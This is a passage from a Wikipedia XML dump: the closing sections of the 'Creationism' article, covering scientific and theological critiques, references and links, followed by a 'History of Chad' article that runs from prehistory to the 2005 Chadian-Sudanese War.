[http://news.bbc.co.uk/2/hi/europe/3642460.stm] Ms. Čolić resigned after the government said that she had caused &quot;problems that had started to reflect on the work of the entire government&quot;. [http://news.bbc.co.uk/2/hi/europe/3663196.stm]

==Criticism of creationism==
===Scientific critique of creationism===
All forms of Creationism incorporate some theological content, but they have varied considerably over time in the degree to which they try to incorporate scientific terminology.  Since the origins of modern [[geology]] in the 18th and 19th centuries, theories of creationism have become increasingly separated from mainstream science.  Many modern forms of creationism, particularly Young Earth Christian creationism, were created to defend the literal interpretation of the [[Creation according to Genesis|biblical account of creation in genesis]], when evolution started to become scientific orthodoxy. Many modern creationists are widely regarded as 'anti evolutionists' rather than as people putting forward an honest alternative to explain the origins of life. Indeed, virtually all creationist arguments take the form of attacks on evolutionary theories. 

Creationists sometimes minimize the explanatory power and validity of evolution theory by criticizing it as being &quot;just a theory&quot;  implying that the word &quot;theory&quot; is synonymous with &quot;conjecture&quot; or &quot;speculation&quot;, instead of the technical, [[scientific method|scientifically]] accepted use of the word &quot;theory&quot; to mean a model of the world (or some portion of it) from which [[falsifiability|falsifiable]] [[hypothesis|hypotheses]] can be generated and verified through empirical observation. In this sense, evolution is an acceptable theory.

Critics charge that Creationism is not a theory that has come about through a similar systematic accumulation of evidence. It is based on a literal interpretation of religious scripture and the emphasis of scripture over other sources of knowledge. Young Earth Creationism also fails the criteria of falsifiability and parsimony. While the hypothesis that the Earth is only a few thousand years old allows many predictions, evidence which refutes these predictions cannot invalidate creationism, because creationism itself is a belief and not a scientific theory. The belief can persist in spite of evidence to the contrary.     

There is a fundamental difference between the scientific approach and the approach used by creationist advocates. The scientific approach uses the [[scientific method]] as a means of discovering information about the natural world. Scientists use observations, hypotheses and deductions to propose explanations for natural phenomena in the form of theories. Predictions from these theories are tested by experiment. If a prediction turns out to be correct, the theory survives. This is a [[Meritocracy|meritocratic]] form of systematic enquiry, where the best ideas supported by evidence and positive experimental results survive. Traditional science does not seek answers that fit a certain pre-determined conclusion, but rather works to construct viable, testable, and provable theories based on a solid evidential foundation.  The evidential foundation therefore precludes any reference to revelation.  Creationism works in the opposite direction: accepting the conclusion first and working backwards to 'discover' supporting evidence. This is fundamentally unscientific, and a hallmark of [[pseudoscience]]. 

All scientific [[theory|theories]] are falsifiable; that is, if evidence that contradicts any given theory comes to light, or if the theory is proven to no longer fit with the evidence, the theory itself is shown to be invalid and is either modified to be consistent with all the evidence or is discarded. Evolution is a theory that fits in with all known biological evidence, fits in with all known genetic evidence, and is backed up by overwhelming evidence in the [[Fossil|fossil]] record. Contrary to frequent claims by many opponents of the theory of evolution, [[Transitional fossil|transitional fossils]] exist which show a gradual change from one species to another. Moreover, evolutionary selection has been observed in living species (for a macroscopic instance, &quot;tuskless elephants&quot;--''see [[elephant]]'').

In the last ten years, powerful [[DNA]] analysis techniques applied to many organisms have demonstrated the fundamental genetic relationship between all forms of known life (humans share 50% of their DNA with yeast, 96%''[http://www.genome.gov/15515096]'' with chimpanzees). Clearly, even if evolution as biologists currently understand it turned out to be false, this would not imply the truth of special creation (such a binary view being a [[logical fallacy]]). It is exclusively in the public sphere, where [[young Earth creationists]] (especially in the US) have fought for recognition of their [[world view]], that the debate about creationism and evolution rages.

===The Christian critique of creationism===
In &quot;Intelligent Design as a Theological Problem,&quot; George Murphy argues against the common view that life on Earth in all its forms is direct evidence of God's act of creation (Murphy quotes Phillip Johnson's claim that he is speaking &quot;of a God who acted openly and left his fingerprints on all the evidence.&quot;). Murphy argues that this view of God is incompatible with the Christian understanding of God as &quot;the one revealed in the cross and resurrection of Jesus.&quot; The basis of this theology is [[Isaiah]] 45:15, &quot;Truly, thou art a God who hidest thyself, O God of Israel, the Savior.&quot; This verse inspired [[Blaise Pascal]] to write, &quot;What meets our eyes denotes neither a total absence nor a manifest presence of the divine, but the presence of a God who conceals himself.&quot; In the ''Heidelberg Disputation'', [[Martin Luther]] referred to the same Biblical verse to propose his &quot;theology of the cross&quot;: &quot;That person does not deserve to be called a theologian who looks upon the invisible things of God as though they were clearly perceptible in those things which have actually happened ... He deserves to be called a theologian, however, who comprehends the visible and manifest things of God seen through suffering and the cross.&quot;  

Luther opposes his theology of the cross to what he called the &quot;theology of glory&quot;:
:A theologian of glory does not recognize, along with the Apostle, the crucified and hidden God alone [I Cor. 2:2]. He sees and speaks of God's glorious manifestation among the heathen, how his invisible nature can be known from the things which are visible [Cf. Rom. 1:20] and how he is present and powerful in all things everywhere. 
For Murphy, Creationists are modern-day theologians of glory. Following Luther, Murphy argues that a true Christian cannot discover God from clues in creation, but only from the crucified Christ. 

Murphy observes that the execution of a Jewish carpenter by Roman authorities is in and of itself an ordinary event and did not require Divine action. On the contrary, for the crucifixion to occur, God had to limit or &quot;empty&quot; Himself. It was for this reason that Paul wrote, in Philippians 2:5-8,
:Have this mind among yourselves, which is yours in Christ Jesus, who, though he was in the form of God, did not count equality with God a thing to be grasped, but emptied himself, taking the form of a servant, being born in the likeness of men. And being found in human form he humbled himself and became obedient unto death, even death on a cross. 

Murphy concludes that,
:Just as the son of God limited himself by taking human form and dying on the cross, God limits divine action in the world to be in accord with rational laws God has chosen.  This enables us to understand the world on its own terms, but it also means that natural processes hide God from scientific observation.
For Murphy, a theology of the cross requires that Christians accept a ''methodological'' naturalism, meaning that one cannot invoke God to explain natural phenomena, while recognizing that such acceptance does not require one to accept a ''metaphysical'' naturalism, which proposes that nature is all that there is.  

According to Emil Brunner, &quot;God does not wish to occupy the whole of space Himself, but that He wills to make room for other forms of existence ... In so doing, He limits Himself.&quot;  It is where God has limited Himself that humans must use their own intelligence to understand the world &amp;mdash; to understand the laws of gravity as well as evolution &amp;ndash; without relying on God as an explanation.  It is only through the cross and the resurrection that one may find God.
====Plea to reject nonsense====
In his work ''The Literal Meaning of Genesis'' (De Genesi ad litteram libri duodecim), [[Augustine of Hippo|Saint Augustine]] ([[354]]-[[430]]), embarrassed by Christians who would not accept this implication of the Doctrine of Creation, wrote against them. This translation is by J. H. Taylor in ''Ancient Christian Writers'', Newman Press, 1982, volume 41. 

: &quot;Usually, even a non-Christian knows something about the earth, [..] and this knowledge he holds as being certain from reason and experience. Now, it is a disgraceful and dangerous thing for an infidel to hear a Christian, presumably giving the meaning of Holy Scripture, talking nonsense on these topics; and we should take all means to prevent such an embarrassing situation, in which people show up vast ignorance in a Christian and laugh it to scorn. The shame is not so much that an ignorant individual is derided, but that people outside the household of faith think our sacred writers held such opinions, and, to the great loss of those for whose salvation we toil, the writers of our Scripture are criticized and rejected as unlearned men. If they find a Christian mistaken in a field which they themselves know well and hear him maintaining his foolish opinions about our books, how are they going to believe those books in matters concerning the resurrection of the dead, the hope of eternal life, and the kingdom of heaven, when they think their pages are full of falsehoods and on facts which they themselves have learnt from experience and the light of reason?&quot;

==Creationism and naturalism==
Creationists believe that a divine power created life and the laws by which nature operates, sometimes believing that every &quot;kind&quot; of living thing was separately &quot;created&quot;, while [[Naturalism (philosophy)|naturalists]] believe life came into being or developed into different species through natural means. This spectrum of opposing views has led to the debate commonly known as the [[Creation-evolution controversy|creation-evolution debate]].

==See also==
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* [[Abrahamic religions]]
* [[Biblical cosmology]]
* [[Biblical inerrancy]]
* [[Clockmaker hypothesis]]
* [[Cosmogony]]
* [[Cosmological argument]]
* [[Cosmology]]
* [[Creation evolution controversy]]
* [[Creation science]]
* [[Creation (theology)]]
* [[Creator God]]
* [[Dating Creation]]
* [[Deism]]

&lt;p&gt;&lt;/p&gt;
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* [[Divine simplicity]]
* [[Evolution]]
* [[Existence]]
* [[Intelligent design]]
* [[Irreducible complexity]]
* [[Larry Booher]]
* [[Lysenkoism]]
* [[Origin belief]]
* [[Natural theology]]
* [[Starlight problem]]
* [[Theism]]
* [[Tzimtzum]]
* [[William Paley]]
&lt;p&gt;&lt;/p&gt;
|}

==References==
* [[Bernhard Anderson|Anderson, Bernhard W.]] (editor) ''Creation in the Old Testament'' (ISBN 0800617681)
* [[Bernhard Anderson|Anderson, Bernhard W.]] ''Creation Versus Chaos: The Reinterpretation of Mythical Symbolism in the Bible'' (ISBN 159752042X)
* [[Ian Barbour]] ''When Science Meets Religion'', 2000, Harper SanFrancisco
* Ian Barbour ''Religion and Science: Historical and Contemporary Issues'', 1997, Harper SanFrancisco. 
*[http://www.robibrad.demon.co.uk/Chapter3.htm  Bradshaw, Robert I.,  &quot;The Early Church &amp; the Age of the Earth&quot;]
* [[Stephen Jay Gould]] ''Rock of Ages: Science and Religion in the fullness of life'', Ballantine Books, 1999
* Edward J. Larson and Larry Witham ''Leading scientists still reject God'' in ''Nature,'' Vol. 394, No. 6691 (1998), p. 313. Online at http://www.freethought-web.org/ctrl/news/file002.html
* Scott, Eugenie C., 1999 (Jul/Aug). The creation/evolution continuum. Reports of the National Center for Science Education 19(4): 16-17,21-23.
*[http://www.religioustolerance.org/ev_publi.htm US poll results - Public beliefs about evolution and creation]

===References (historical)===
* Gosse, Henry Philip, 1857. Omphalos: An Attempt to Untie the Geological Knot. J. Van Voorst, London

===References (Christian)===
*Murphy, George L., 2002, &quot;Intelligent Design as a Theological Problem,&quot; in ''Covalence: the Bulletin of the Evangelical Lutheran Church in America Alliance for Faith, Science, and Technology'' 4(2)

===References (Jewish)===
* Aviezer, Nathan. In the Beginning: Biblical Creation and Science. Ktav, 1990. Hardcover. ISBN 0-881253-28-6
* Carmell, Aryeh and Domb, Cyril, eds. ''Challenge: Torah Views on Science'' New York: Association of Orthodox Jewish Scientists/Feldheim Publishers, 1976. ISBN 0873061748
* Aryeh Kaplan, ''Immortality, Resurrection, and the Age of the Universe: A Kabbalistic View'', Ktav, NJ, in association with the Association of Orthodox Jewish Scientists, NY, 1993
* Joel R. Primack and Nancy Ellen Abrams ''In a Beginning...: Quantum Cosmology and Kabbalah'', Tikkun, Vol. 10, No. 1, pp. 66-73
* Schroeder, Gerald L. ''The Science of God: The Convergence of Scientific and Biblical Wisdom'' Broadway Books, 1998, ISBN 0-767903-03-X
* Jeffrey H. Tigay, ''Genesis, Science, and &quot;Scientific Creationism&quot;'', Conservative Judaism, Vol. 40(2), Winter 1987/1988, p.20-27, The [[Rabbinical Assembly]]

==External links==
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| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |&lt;!-- overviews of creationism, i.e. all these links are similar because they describe the variety of viewpoints that have been described as creationist. --&gt;
* [http://plato.stanford.edu/entries/creationism/ Stanford Encyclopedia entry on Creationism]
* [http://www.familyradio.com/zusa/graphical/literature/when/when_contents.html God is the Creator]
* [http://www.howstuffworks.com/creationism.htm How creationism works]

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* [http://images.derstandard.at/20051012/Evolution-and-Creationism.pdf Evolution and Creationism]. A Guide for Museum Docents (PDF)
* [http://www.talkorigins.org/faqs/wic.html What is creationism?] from [[talk.origins]]
* [http://www.ncseweb.org/resources/articles/1593_the_creationevolution_continu_12_7_2000.asp The Creation/Evolution Continuum] by [[Eugenie Scott]].
*[http://www.stephenjaygould.org/ctrl/azimov_creationism.html Armies of the Night] by Isaac Asimov.
&lt;p&gt;&lt;/p&gt;
|}

===Organizations===
[[Talk.origins]] maintains an extensive list of [http://www.talkorigins.org/origins/other-links.html general links relevant to creationism] and [http://www.talkorigins.org/origins/other-links-cre.html a full list of creationist websites].  The following are links to the main organizations espousing a variety of viewpoints:

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'''Young Earth Creationism'''
* [http://www.creationscience.com In the Beginning - Compelling Evidence for Creation and the Flood] By Dr. Walt Brown
* [http://www.answersingenesis.org/ Answers in Genesis] A group promoting Young-Earth Creationism.
* [http://www.familyradio.com/graphical/literature/calendar/calendar_contents.html The Biblical Calendar of History]
* [http://www.icr.org/ Institute for Creation Research] &quot;A Christ-Focused Creation Ministry&quot;
* [http://www.creationresearch.org/ The Creation Research Society]
* [http://www.trueorigin.org/ The True.Origin Archive]
* [http://www.nwcreation.net/wiki/index.php?title=Main_Page CreationWiki]

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'''Old Earth Creationism'''
* [http://www.reasons.org Reasons to Believe] led by [[Hugh Ross]]
* [http://www.answersincreation.org Answers In Creation] led by [[Greg Neyman]]

'''Intelligent design'''
* [http://www.arn.org/ Access Research Network]
* [http://www.discovery.org/csc/ Discovery Institute Center for Science and Culture]

''' Evolutionary creationism''' &lt;!-- These are a bit thin on the ground. --&gt;
* [http://koning.ecsu.ctstateu.edu/religion/scifaith.html Faith of a scientist: a personal witness]

'''Evolution'''
* [http://www.talkorigins.org talk.origins Archive]
* [http://www.ncseweb.org/ National Center for Science Education]
* [http://www.uni-wuerzburg.de/mineralogie/palbot/evolution/creationism.html Evolution Sciences versus Doctrines of Creationism and Intelligent Design] A pro-evolution or anti-creationism link directory
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[[Category:Creationism|*]]
[[Category:pseudoscience]]
[[Category:Theology]]

[[cs:Kreacionismus]]
[[da:Kreationisme]]
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[[it:Creazionismo]]
[[ja:創造論]]
[[lt:Kreacionizmas]]
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[[simple:Creationism]]
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[[zh:創造論]]</text>
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    <title>Chapter 1 - Variation Under Domestication</title>
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      <comment>#REDIRECT [[The Origin of Species]]</comment>
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    <title>Chapter 2 - Variation Under Nature</title>
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    <title>History of Chad</title>
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      <comment>/* Military rule (1975&amp;ndash;78) */</comment>
      <text xml:space="preserve">{{History of Chad}}
==Prehistory==
Human presence in [[Chad]] is very ancient, a [[humanoid]] skull found in [[Borkou]] is more than 3 million years old. The territory now known as Chad possesses some of the richest [[archaeological site]]s in [[Africa]]. During the 7th millennium BC, the northern half of Chad was part of a broad expanse of land, stretching from the [[Indus River]] in the east to the [[Atlantic Ocean]] in the west, in which [[ecology|ecological]] conditions favored early human settlement. [[Rock art]] of the &quot;Round Head&quot; style, found in the [[Ennedi]] region, has been dated to before the 7th millennium BC and, because of the tools with which the rocks were carved and the scenes they depict, may represent the oldest evidence in the [[Sahara]] of [[Neolithic]] industries. Many of the [[pottery]]-making and Neolithic activities in Ennedi date back further than any of those of the [[Nile]] Valley to the east. 

In the [[prehistory|prehistoric]] period, Chad was much wetter than it is today, as evidenced by large game animals depicted in [[Cave painting|rock paintings]] in the Tibesti and Borkou regions. Recent linguistic research suggests that all of [[Africa]]'s languages south of the Sahara Desert (except [[Khoisan languages|Khoisan]]) originated in prehistoric times in a narrow band between [[Lake Chad]] and the Nile Valley. The origins of Chad's peoples, however, remain unclear. Several of the proven archaeological sites have been only partially studied, and other sites of great potential have yet to be mapped.

==Era of Empires (AD 900&amp;ndash;1900)==
Toward the end of the 1st millennium AD, the formation of states began across central Chad in the [[sahel]]ian zone between the [[desert]] and the [[savanna]]. For almost the next 1.000 years, these states, their relations with each other, and their effects on the peoples who lived in &quot;stateless&quot; societies along their peripheries dominated Chad's political history. Recent research suggests that indigenous [[History of Africa|Africans]] founded most of these states, not migrating [[Arabic language|Arabic-speaking]] groups, as was believed previously. Nonetheless, immigrants, [[Arab]]ic-speaking or otherwise, played a significant role, along with [[Islam]], in the formation and early evolution of these states. 

Most states began as [[monarchy|kingdoms]], in which the [[monarch|king]] was considered divine and endowed with temporal and spiritual powers. All states were [[militarism|militaristic]] (or they did not survive long), but none was able to expand far into southern Chad, where forests and the [[tsetse fly]] complicated the use of [[cavalry]]. Control over the [[trans-Saharan trade]] routes that passed through the region formed the economic basis of these kingdoms. Although many states rose and fell, the most important and durable of the empires were [[Kanem-Bornu Empire|Kanem-Bornu]], [[Baguirmi Empire|Baguirmi]], and [[Ouaddai Empire|Ouaddai]], according to most written sources (mainly [[Noble court|court]] [[chronicle]]s and writings of Arab [[merchant|traders]] and travelers). 

===Kanem-Bornu===
{{main|Kanem-Bornu Empire}}
The Kanem Empire originated in the 9th century AD to the northeast of [[Lake Chad]]. Historians agree that the leaders of the new state were ancestors of the [[Kanembu]] people. Toward the end of the 11th century the [[Sayfawa dynasty|Sayfawa]] king (or ''mai'', the title of the Sayfawa rulers) [[Hummay]], converted to Islam. In the following century the Sayfawa rulers expandeded southward into [[Kanem (region)|Kanem]], where was to rise their first capital, [[Njimi]]. Kanem's expansion peaked during the long and energetic reign of Mai [[Dunama Dabbalemi]] (c. 1221&amp;ndash;1259). 

By the end of the fourteenth century, internal struggles and external attacks had torn Kanem apart. Finally, around 1396 the [[Bulala]] invaders forced ''Mai'' [[Umar Idrismi]] to abandon Njimi and move the Kanembu people to [[Borno State|Bornu]] on the western edge of Lake Chad. Over time, the intermarriage of the Kanembu and Bornu peoples created a new people and language, the [[Kanuri]], and founded a new capital, [[Ngazargamu]]. 

Kanem-Bornu peaked during the reign of the outstanding statesman ''Mai'' [[Idris Aluma]] (c. 1571&amp;ndash;1603). Aluma is remembered for his military skills, administrative reforms, and Islamic piety. The administrative reforms and military brilliance of Aluma sustained the empire until the mid-1600s, when its power began to fade. By the early 19th century, Kanem-Bornu was clearly an empire in decline, and in 1808 [[Fulani Empire|Fulani]] warriors conquered Ngazargamu. Bornu survived, but the Sayfawa dynasty ended in 1846 and the Empire itself fell in 1893.

===Baguirmi and Ouaddai===
:''Related articles: [[Baguirmi Kingdom]] and [[Ouaddai Kingdom]]''
In addition to Kanem-Bornu, two other states in the region, [[Baguirmi Kingdom|Baguirmi]] and [[Ouaddai Kingdom|Ouaddai]], achieved historical prominence. Baguirmi emerged to the southeast of Kanem-Bornu in the sixteenth century. [[Islam]] was adopted, and the state became a [[sultan]]ate. Absorbed into Kanem-Bornu, Baguirmi broke free later in the 1600s, only to be returned to [[tribute|tributary]] status in the mid-1700s. Early in the nineteenth century, Baguirmi fell into decay and was threatened militarily by the nearby kingdom of Ouaddai. Although Baguirmi resisted, it accepted tributary status in order to obtain help from Ouaddai in putting down internal dissension. When the capital was burned in 1893, the sultan sought and received [[protectorate]] status from the [[French colonial empires|French]]. 

Located northeast of Baguirmi, Ouaddai was a non-Muslim kingdom that emerged in the 16th century as an offshoot of the state of [[Darfur]] (in present-day [[Sudan]]). Early in the 17th century, groups in the region rallied to [[Abd al-Karim of Ouaddai|Abd al-Karim]], who overthrew the ruling [[Tunjur]] group, transforming Ouaddai in an Islamic [[sultan]]ate. During much of the 18th century, Ouaddai resisted reincorporation into Darfur. In about 1800, under the rule of [[Sabun]], the sultanate began to expand its power. A new trade route north was discovered, and Sabun outfitted royal caravans to take advantage of it. He began minting his own coinage and imported [[chain mail]], [[firearm]]s, and military advisers from [[North Africa]]. Sabun's successors were less able than he, and Darfur took advantage of a disputed political succession in 1838 to put its own candidate in power. This tactic backfired when Darfur's choice, [[Muhammad Sharif of Ouaddai|Muhammad Sharif]], rejected Darfur and asserted his own authority. In doing so, he gained acceptance from Ouaddai's various factions and went on to become Ouaddai's ablest ruler. Sharif eventually established Ouaddai's hegemony over Baguirmi and kingdoms as far away as the [[Chari River]]. The  Ouaddai opposed French domination until well into the [[20th century]].

==Colonialism (1900&amp;ndash;40)==
{{main|Colonial Chad}}
The [[France|French]] first penetrated Chad in 1891, establishing their authority through military expeditions primarily against the Muslim kingdoms. The decisive colonial battle for Chad was fought on [[April 22]], [[1900]] at [[battle of Kousséri|Kousséri]] between the French [[Major]] Lamy and the [[Sudan]]ese warlord [[Rabih az-Zubayr]], both of whom were killed in the battle.

In 1905, administrative responsibility for Chad was placed under a [[governor-general]] stationed at [[Brazzaville]], capital of [[French Equatorial Africa]] (AEF). Chad did not have a separate colonial status until 1920, when it was placed under a [[lieutenant-governor]] stationed in [[Fort-Lamy]] (today N'Djamena).

Two fundamental themes dominated Chad's colonial experience with the French: an absence of policies designed to unify the territory and an exceptionally slow pace of [[modernization]]. In the French scale of priorities, the [[colony]] of Chad ranked near the bottom, and the French came to perceive Chad primarily as a source of raw [[cotton]] and [[manual labour|untrained labour]] to be used in the more productive colonies to the south.

Throughout the colonial period, large areas of Chad were never governed effectively: in the huge [[Borkou-Ennedi-Tibesti]] [[Prefectures of Chad|Prefecture]], the handful of French military administrators usually left the people alone, and in central Chad, French rule was only slightly more substantive. Truly speaking, France managed to govern effectively only the south.

==Decolonization (1940&amp;ndash;60)==
{{main|Decolonization in Chad}}
During [[World War II]], Chad was the first French [[colony]] to rejoin the [[Allies]] ([[August 26]], [[1940]]), after the defeat of [[France]] by [[Germany]].  Under the administration of [[Félix Éboué]], France's first black colonial governor, a military column, commanded by Colonel [[Philippe Leclerc de Hautecloque|Leclerc]], and including two batallions of [[Sara]] troops, moved north from [[N'Djamena]] (then Fort Lamy) to engage [[Axis]] forces in [[Libya]].

After the war ended local parties started to develop in Chad. The first to be born was the conservative [[Chadian Democratic Union]] (UDT), which represented French commercial interests and a bloc of traditional leaders composed primarily of Muslim and [[Ouaddaï]]an nobility. Shortly after a more radical formation was created, the [[Chadian Progressive Party]] (PPT), eventually headed by [[François (Ngarta) Tombalbaye|François Tombalbaye]], which was to win the pre-independence elections. The confrontation between the PPT and UDT was more than simply an ideological strife; it masked markedly different regional identities, with the PPT representing the Christian and animist south and the UDT the Islamic north.  

After a referendum on territorial autonomy ([[September 28]], [[1958]]), French Equatorial Africa was dissolved, and its four constituent states &amp;ndash; [[Gabon]], [[Congo (Brazzaville)]], the [[Central African Republic]], and Chad became autonomous members of the [[French Community]] ([[November 28]], [[1958]]). On [[August 11]], [[1960]], Chad became an independent nation under its first president, François Tombalbaye.

==The Tombalbaye Era (1960&amp;ndash;75)==
{{main|The Tombalbaye Regime}}
One of the most prominent aspects of Tombalbaye's rule to prove itself was his authoritarianism and distrust of democracy. Already in January 1962 he banned all political parties except his own PPT, and started immediately concentrating all power in his own hands. His treatment of opponents, real or imagined, was extremely harsh, filling the prisons with thousands of political prisoners.

What was even worse was his constant discrimination against the central and northern regions of Chad, where the southern Chadian administrators came to be perceived as arrogant and incompetent. This resentment at last exploded in a tax revolt on [[November 1]], [[1965]], in the [[Guéra]] [[Prefectures of Chad|Prefecture]], causing 500 deaths. The year after saw the birth in [[Sudan]] of the [[FROLINAT|National Liberation Front of Chad]] (FROLINAT), created to militarily oust Tombalbaye and the Southern dominance. It was the start of a bloody civil war.

Tombalbaye resorted to calling in French troops; while moderately successful, they were not fully able to quell the insurgency. Proving more fortunate was his choice to break with the French and seek friendly ties with [[Libya]]n president [[Muammar al-Qaddafi|Qaddafi]], taking away the rebels' principal source of supplies.

But while he had reported some success against the rebels, Tombalbaye started behaving more and more irrationally and brutally, continuously eroding his consensus among the southern elites, which dominated all key positions in the army, the civil service and the ruling party. As a consequence on [[April 13]], [[1975]], several units of N'Djamena's [[gendarmerie]] [[Chadian coup of 1975|killed Tombalbaye during a coup]].

==Military rule (1975&amp;ndash;78)==
{{main|Malloum's military government}}
The [[coup d'état]] that terminated Tombalbaye's government received an enthusiastic response in [[N'Djamena]]. The southerner [[General]] [[Félix Malloum]] emerged early as the chairman of the new ''[[Military dictatorship|junta]]''.

The new military leaders were unable to retain for long the popularity that they had gained through their overthrow of Tombalbaye. Malloum proved himself unable to cope with the [[FROLINAT]] and at the end decided his only chance was in coopting some of the rebels: in 1978 he allied himself with the insurgent leader [[Hissène Habré]], who entered the government as prime minister.

==Civil war (1979-82)==
{{main|Chadian Civil War}}
Internal dissent within the government led Prime Minister Habré to send his forces against Malloum's national army in the capital in February 1979. Malloum was ousted from the presidency, but the resulting civil war amongst the 11 emergent factions was so widespread that it rendered the central government largely irrelevant. At that point, other African governments decided to intervene.

A series of four international conferences held first under Nigerian and then [[Organization of African Unity]] (OAU) sponsorship attempted to bring the Chadian factions together. At the fourth conference, held in [[Lagos]], [[Nigeria]], in August 1979, the Lagos Accord was signed. This accord established a transitional government pending national elections. In November 1979, the [[National Union Transition Government]] (GUNT) was created with a mandate to govern for 18 months. [[Goukouni Oueddei]], a northerner, was named President; Colonel [[Wadel Abdelkader Kamougué|Kamougué]], a southerner, Vice President; and Habré, Minister of Defense. This coalition proved fragile; in January 1980, fighting broke out again between Goukouni's and Habré's forces. With assistance from [[Libya]], Goukouni regained control of the capital and other urban centers by year&amp;rsquo;s end. However, Goukouni&amp;rsquo;s January 1981 statement that Chad and [[Libya]] had agreed to work for the realization of complete unity between the two countries generated intense international pressure and Goukouni's subsequent call for the complete withdrawal of external forces.

==The Habré Era (1982&amp;ndash;90)==
Libya's partial withdrawal to the [[Aozou Strip]] in northern Chad cleared the way for Habré's forces to enter N&amp;rsquo;Djamena in June. French troops and an OAU peacekeeping force of 3,500 Nigerian, [[Senegal]]ese, and [[Zaire|Zairian]] troops (partially funded by the [[United States]]) remained neutral during the conflict.
[[Image:Map of Aouzou stip chad.PNG|thumb|The [[Aozou Strip]].]]

Habré continued to face armed opposition on various fronts, and was brutal in his repression of suspected opponents, massacring and torturing many during his rule. In the summer of 1983, GUNT forces launched an offensive against government positions in northern and eastern Chad with Libyan support. In response to Libya's direct intervention, French and Zairian forces intervened to defend Habré, pushing Libyan and rebel forces north of the 16th parallel. In September 1984, the French and the Libyan governments announced an agreement for the mutual withdrawal of their forces from Chad. By the end of the year, all French and Zairian troops were withdrawn. Libya did not honor the withdrawal accord, and its forces continued to occupy the northern third of Chad.

Rebel commando groups (CODO) in southern Chad were broken up by government massacres in 1984. In 1985 Habré briefly reconciled with some of his most powerful opponents including the Chadian Democratic Front and the Coordinating Action Committee of the Democratic Revolutionary Council. Goukouni also began to rally toward Habré, and with his support Habré successfully expelled Libyan forces from most of Chadian territory. A cease-fire between Chad and Libya held from 1987 to 1988, and negotiations over the next several years led to the 1994 International Court of Justice decision granting Chad sovereignty over the Aouzou strip, effectively ending Libyan occupation.

==The Déby Era==
However, rivalry between [[Hadjerai]], [[Zaghawa]] and [[Gorane]] groups within the government grew in the late 1980s. In April 1989, [[Idriss Déby]], one of Habre's leading generals and a Zaghawa, defected and fled to [[Darfur]] in Sudan, from which he mounted a Zaghawa-supported series of attacks on Habré (a Gorane). In December 1990, with Libyan assistance and no opposition from French troops stationed in Chad, Déby&amp;rsquo;s forces successfully marched on N&amp;rsquo;Djamena. After 3 months of provisional government, Déby&amp;rsquo;s [[Patriotic Salvation Movement]] (MPS) approved a national charter on [[February 28]], [[1991]], with Déby as president.

During the next two years, Déby faced at least two coup attempts. Government forces clashed violently with rebel forces (including the Movement for Democracy and Development, MDD, National Revival Committee for Peace and Democracy (CSNPD), Chadian National Front (FNT) and the Western Armed Forces, FAO) near [[Lake Chad]] and in southern regions of the country. Earlier French demands for the country to hold a National Conference resulted in the gathering of 750 delegates representing political parties (legalized in 1992), the government, trade unions and the army to discuss the creation of a pluralist democratic regime.

However, unrest continued, sparked in part by large-scale killings of civilians in southern Chad. The CSNPD, led by [[Kette Moise]] and other southern groups entered into a peace agreement with government forces in 1994, which later broke down. Two new groups, the Armed Forces for a Federal Republic (FARF) led by former Kette ally [[Laokein Barde]] and the Democratic Front for Renewal (FDR), and a reformulated MDD clashed with government forces from 1994 to 1995.

Talks with political opponents in early 1996 did not go well, but Déby announced his intent to hold presidential elections in June. Déby won the country&amp;rsquo;s first multi-party presidential elections with support in the second round from opposition leader Kebzabo, defeating General Kamougue (leader of the 1975 coup against Tombalbaye). Déby&amp;rsquo;s MPS party won 63 of 125 seats in the January 1997 legislative elections. International observers noted numerous serious irregularities in presidential and legislative election proceedings.

By mid-1997 the government signed peace deals with FARF and the MDD leadership and succeeded in cutting off the groups from their rear bases in the Central African Republic and Cameroon. Agreements also were struck with rebels from the National Front of Chad (FNT) and Movement for Social Justice and Democracy in October 1997. However, peace was short-lived, as FARF rebels clashed with government soldiers, finally surrendering to government forces in May 1998. Barde was killed in the fighting, as were hundreds of other southerners, most civilians.

Since October 1998, Chadian Movement for Justice and Democracy (MDJT) rebels, led by [[Youssuf Togoimi]] until his death in September 2002, have skirmished with government troops in the Tibesti region, resulting in hundreds of civilian, government, and rebel casualties, but little ground won or lost. No active armed opposition has emerged in other parts of Chad, although Kette Moise, following senior postings at the Ministry of Interior, mounted a smallscale local operation near [[Moundou]] which was quickly and violently suppressed by government forces in late 2000.

Déby, in the mid-1990s, gradually restored basic functions of government and entered into agreements with the [[World Bank]] and [[International Monetary Fund|IMF]] to carry out substantial economic reforms. Oil exploitation in the southern Doba region began in June 2000, with World Bank Board approval to finance a small portion of a project aimed at transport of Chadian crude through a 1000-km. buried pipeline through Cameroon to the [[Gulf of Guinea]]. The project establishes unique mechanisms for World Bank, private sector, government, and civil society collaboration to guarantee that future oil revenues benefit local populations and result in poverty alleviation. Success of the project will depend on intensive monitoring efforts to ensure that all parties keep their commitments. Debt relief was accorded to Chad in May 2001.

Déby won a flawed 63% first-round victory in May 2001 presidential elections after legislative elections were postponed until spring 2002. Having accused the government of fraud, six opposition leaders were arrested (twice) and one opposition party activist was killed following the announcement of election results. However, despite claims of government corruption, favoritism of Zaghawas, and abuses by the security forces, opposition party and labor union calls for general strikes and more active demonstrations against the government have been unsuccessful.  Despite movement toward democratic reform, power remains in the hands of a northern ethnic oligarchy.

In 2003, Chad began receiving refugees from the [[Darfur]] region of western Sudan. More than 200,000 refugees fled the fighting between two rebel groups and government-supported militias known as [[Janjaweed]]. A number of border incidents led to the [[Chadian-Sudanese War]].

==Chadian-Sudanese War==
{{main|Chadian-Sudanese War}}
The [[Chadian-Sudanese War]] officially started on [[December 23]], [[2005]], when the [[Politics of Chad|government of Chad]] declared a [[state of war]] with [[Sudan]] and called for the citizens of [[Chad]] to mobilize themselves against the [http://news.bbc.co.uk/1/hi/world/africa/4556576.stm &quot;common enemy,&quot;]
which the Chadian government sees as the [[Rally for Democracy and Liberty]] (RDL) militants, Chadian rebels, backed by the [[Sudanese]] government, and Sudanese militiamen. Militants have attacked villages and towns in eastern Chad, stealing cattle, murdering citizens, and burning houses. Over 200,000 refugees from the [[Darfur]] region of northwestern Sudan currently claim asylum in eastern Chad. Chadian president [[Idriss Déby]] accuses Sudanese President [[Omar Hasan Ahmad al-Bashir]] of trying to &quot;destabilize our country, to drive our people into misery, to create disorder and export the war from Darfur to Chad.&quot;

